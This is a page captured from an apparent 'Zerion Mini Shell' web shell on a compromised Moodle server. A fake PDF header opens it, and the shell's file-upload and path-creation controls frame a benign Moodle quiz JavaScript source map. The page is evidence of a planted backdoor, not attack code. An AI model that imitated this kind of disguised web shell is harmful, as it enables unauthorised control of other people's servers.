%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/ava/mod/quiz/amd/build/
Upload File :
Create Path :
Current File : /home/vacivi36/ava/mod/quiz/amd/build/add_random_question.min.js.map

{"version":3,"file":"add_random_question.min.js","sources":["../src/add_random_question.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Initialise the add random question modal on the quiz page.\n *\n * @module    mod_quiz/add_random_question\n * @copyright 2018 Ryan Wyllie <ryan@moodle.com>\n * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n */\ndefine(\n    [\n        'mod_quiz/add_question_modal_launcher',\n        'mod_quiz/modal_add_random_question'\n    ],\n    function(\n        AddQuestionModalLauncher,\n        ModalAddRandomQuestion\n    ) {\n\n    return {\n        /**\n         * Create the add random question modal.\n         *\n         * @param  {int} contextId Current context id.\n         * @param  {string} category Category id and category context id comma separated.\n         * @param  {string} returnUrl URL to return to after form submission.\n         * @param  {int} cmid Current course module id.\n         * @param  {boolean} showNewCategory Display the New category tab when selecting random questions.\n         */\n        init: function(contextId, category, returnUrl, cmid, showNewCategory = true) {\n            AddQuestionModalLauncher.init(\n                ModalAddRandomQuestion.TYPE,\n                '.menu [data-action=\"addarandomquestion\"]',\n                contextId,\n                // Additional values that should be set before the modal is shown.\n                function(triggerElement, modal) {\n                    modal.setCategory(category);\n                    modal.setReturnUrl(returnUrl);\n                    modal.setCMID(cmid);\n                },\n                showNewCategory\n            );\n        }\n    };\n});\n"],"names":["define","AddQuestionModalLauncher","ModalAddRandomQuestion","init","contextId","category","returnUrl","cmid","showNewCategory","TYPE","triggerElement","modal","setCategory","setReturnUrl","setCMID"],"mappings":";;;;;;;AAsBAA,sCACI,CACI,uCACA,uCAEJ,SACIC,yBACAC,8BAGG,CAUHC,KAAM,SAASC,UAAWC,SAAUC,UAAWC,UAAMC,2EACjDP,yBAAyBE,KACrBD,uBAAuBO,KACvB,2CACAL,WAEA,SAASM,eAAgBC,OACrBA,MAAMC,YAAYP,UAClBM,MAAME,aAAaP,WACnBK,MAAMG,QAAQP,QAElBC"}

Zerion Mini Shell 1.0